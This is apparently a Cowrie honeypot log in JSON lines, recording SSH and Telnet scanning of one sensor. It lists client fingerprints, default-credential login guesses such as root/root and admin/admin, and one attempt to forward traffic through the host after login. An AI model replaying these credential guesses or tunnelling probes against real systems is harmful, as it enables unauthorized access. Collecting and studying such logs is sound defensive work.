{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":60382,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa4bf0168fd5","protocol":"ssh","message":"New connection: 80.94.92.186:60382 (159.203.135.109:22) [session: fa4bf0168fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:18.380843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:18.521338Z","src_ip":"80.94.92.186","session":"fa4bf0168fd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:18.620656Z","src_ip":"80.94.92.186","session":"fa4bf0168fd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"fuckyou","message":"login attempt [sol/fuckyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:19.773031Z","src_ip":"80.94.92.186","session":"fa4bf0168fd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.14997744560242,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:20.394608Z","src_ip":"128.199.8.54","session":"6ed737dd3210","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:21.189577Z","src_ip":"80.94.92.186","session":"fa4bf0168fd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.646653175354004,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:26.167460Z","src_ip":"128.199.8.54","session":"51249b5e1167","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.97670245170593,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:27.357380Z","src_ip":"128.199.8.54","session":"4dc81afe6d9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59694,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd5100f3e841","protocol":"telnet","message":"New connection: 128.199.8.54:59694 (159.203.135.109:23) [session: fd5100f3e841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:28.936873Z"}
{"eventid":"cowrie.session.closed","duration":33.59453630447388,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:29.185710Z","src_ip":"128.199.8.54","session":"ea93ffbdd6e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.109.212.211","src_port":42648,"dst_ip":"10.17.0.5","dst_port":23,"session":"38abef990be0","protocol":"telnet","message":"New connection: 208.109.212.211:42648 (10.17.0.5:23) [session: 38abef990be0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:36.788254Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.27","src_port":49014,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b9547df1003","protocol":"ssh","message":"New connection: 94.26.106.27:49014 (159.203.135.109:22) [session: 4b9547df1003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:38.736731Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:38.742208Z","src_ip":"94.26.106.27","session":"4b9547df1003","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.27","src_port":49026,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3b39b5ec932","protocol":"ssh","message":"New connection: 94.26.106.27:49026 (159.203.135.109:22) [session: d3b39b5ec932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:38.885252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:38.890670Z","src_ip":"94.26.106.27","session":"d3b39b5ec932","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:38.983643Z","src_ip":"94.26.106.27","session":"d3b39b5ec932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.401729583740234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:39.086191Z","src_ip":"208.109.212.211","session":"1a13c815c2a4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:39.171120Z","src_ip":"94.26.106.27","session":"d3b39b5ec932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:40.267417Z","src_ip":"94.26.106.27","session":"d3b39b5ec932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.175944089889526,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:41.239692Z","src_ip":"128.199.8.54","session":"16d986c6d1a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57952,"dst_ip":"159.203.135.109","dst_port":23,"session":"8202bb0f36fa","protocol":"telnet","message":"New connection: 128.199.8.54:57952 (159.203.135.109:23) [session: 8202bb0f36fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:42.034199Z"}
{"eventid":"cowrie.session.closed","duration":34.10164713859558,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:42.186664Z","src_ip":"128.199.8.54","session":"f4eeec8af078","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60036,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ca8df36e4d3","protocol":"telnet","message":"New connection: 128.199.8.54:60036 (159.203.135.109:23) [session: 9ca8df36e4d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:43.054863Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":11838,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf18a031a1e9","protocol":"ssh","message":"New connection: 87.251.64.176:11838 (10.17.0.5:22) [session: cf18a031a1e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:45.414274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:45.421618Z","src_ip":"87.251.64.176","session":"cf18a031a1e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:45.518945Z","src_ip":"87.251.64.176","session":"cf18a031a1e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37148,"dst_ip":"159.203.135.109","dst_port":23,"session":"a58be3dd43db","protocol":"telnet","message":"New connection: 128.199.8.54:37148 (159.203.135.109:23) [session: a58be3dd43db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:45.704292Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:45.815759Z","src_ip":"87.251.64.176","session":"cf18a031a1e9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:45.916965Z","session":"cf18a031a1e9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:46.029583Z","src_ip":"87.251.64.176","session":"cf18a031a1e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60100,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c6ebe01c0ac","protocol":"telnet","message":"New connection: 128.199.8.54:60100 (159.203.135.109:23) [session: 5c6ebe01c0ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:46.119793Z"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:46.134585Z","src_ip":"87.251.64.176","session":"cf18a031a1e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.301547050476074,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:50.252042Z","src_ip":"128.199.8.54","session":"2df02b111649","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46942,"dst_ip":"159.203.135.109","dst_port":23,"session":"481af23cfdb3","protocol":"telnet","message":"New connection: 128.199.8.54:46942 (159.203.135.109:23) [session: 481af23cfdb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:50.577424Z"}
{"eventid":"cowrie.session.closed","duration":34.55646204948425,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:55:03.493222Z","src_ip":"128.199.8.54","session":"fd5100f3e841","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49368143081665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:55:07.281799Z","src_ip":"208.109.212.211","session":"38abef990be0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":35694,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d5f5878c46a","protocol":"ssh","message":"New connection: 103.15.226.202:35694 (10.17.0.5:22) [session: 5d5f5878c46a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:55:12.445359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:55:12.450569Z","src_ip":"103.15.226.202","session":"5d5f5878c46a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:55:12.691612Z","src_ip":"103.15.226.202","session":"5d5f5878c46a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:55:13.687194Z","src_ip":"103.15.226.202","session":"5d5f5878c46a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:55:14.930030Z","src_ip":"103.15.226.202","session":"5d5f5878c46a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.04524111747742,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:55:16.099999Z","src_ip":"128.199.8.54","session":"9ca8df36e4d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.139243364334106,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:55:16.173321Z","src_ip":"128.199.8.54","session":"8202bb0f36fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42256,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b7c50de3581","protocol":"telnet","message":"New connection: 128.199.8.54:42256 (159.203.135.109:23) [session: 8b7c50de3581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:55:17.117509Z"}
{"eventid":"cowrie.session.closed","duration":34.83056616783142,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:55:20.534490Z","src_ip":"128.199.8.54","session":"a58be3dd43db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.83821511268616,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:55:20.957884Z","src_ip":"128.199.8.54","session":"5c6ebe01c0ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52682,"dst_ip":"159.203.135.109","dst_port":23,"session":"729b261f6342","protocol":"telnet","message":"New connection: 128.199.8.54:52682 (159.203.135.109:23) [session: 729b261f6342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:55:22.535354Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53726,"dst_ip":"159.203.135.109","dst_port":23,"session":"14a8084b9ec7","protocol":"telnet","message":"New connection: 128.199.8.54:53726 (159.203.135.109:23) [session: 14a8084b9ec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:55:23.078432Z"}
{"eventid":"cowrie.session.closed","duration":33.71199131011963,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:55:24.289294Z","src_ip":"128.199.8.54","session":"481af23cfdb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59492,"dst_ip":"159.203.135.109","dst_port":23,"session":"a01bcd3fae53","protocol":"telnet","message":"New connection: 128.199.8.54:59492 (159.203.135.109:23) [session: a01bcd3fae53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:55:26.110103Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36294,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc5e21d56da3","protocol":"telnet","message":"New connection: 128.199.8.54:36294 (159.203.135.109:23) [session: dc5e21d56da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:55:29.595587Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44126,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c580f7acb3e","protocol":"telnet","message":"New connection: 128.199.8.54:44126 (159.203.135.109:23) [session: 9c580f7acb3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:55:33.383427Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46282,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d74110ba148","protocol":"telnet","message":"New connection: 128.199.8.54:46282 (159.203.135.109:23) [session: 1d74110ba148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:55:34.564970Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44980,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cd83ae13c3b","protocol":"telnet","message":"New connection: 128.199.8.54:44980 (159.203.135.109:23) [session: 4cd83ae13c3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:55:46.860444Z"}
{"eventid":"cowrie.session.closed","duration":33.69665455818176,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:55:50.813990Z","src_ip":"128.199.8.54","session":"8b7c50de3581","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52986,"dst_ip":"159.203.135.109","dst_port":23,"session":"41ceecb899f9","protocol":"telnet","message":"New connection: 128.199.8.54:52986 (159.203.135.109:23) [session: 41ceecb899f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:55:50.930770Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57806,"dst_ip":"159.203.135.109","dst_port":23,"session":"904d088af50e","protocol":"telnet","message":"New connection: 128.199.8.54:57806 (159.203.135.109:23) [session: 904d088af50e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:55:54.400611Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59832,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd2e51cd1728","protocol":"telnet","message":"New connection: 128.199.8.54:59832 (159.203.135.109:23) [session: bd2e51cd1728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:55:54.430346Z"}
{"eventid":"cowrie.session.closed","duration":33.52145195007324,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:55:56.056700Z","src_ip":"128.199.8.54","session":"729b261f6342","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35616,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bccc39347b9","protocol":"telnet","message":"New connection: 128.199.8.54:35616 (159.203.135.109:23) [session: 3bccc39347b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:55:56.430497Z"}
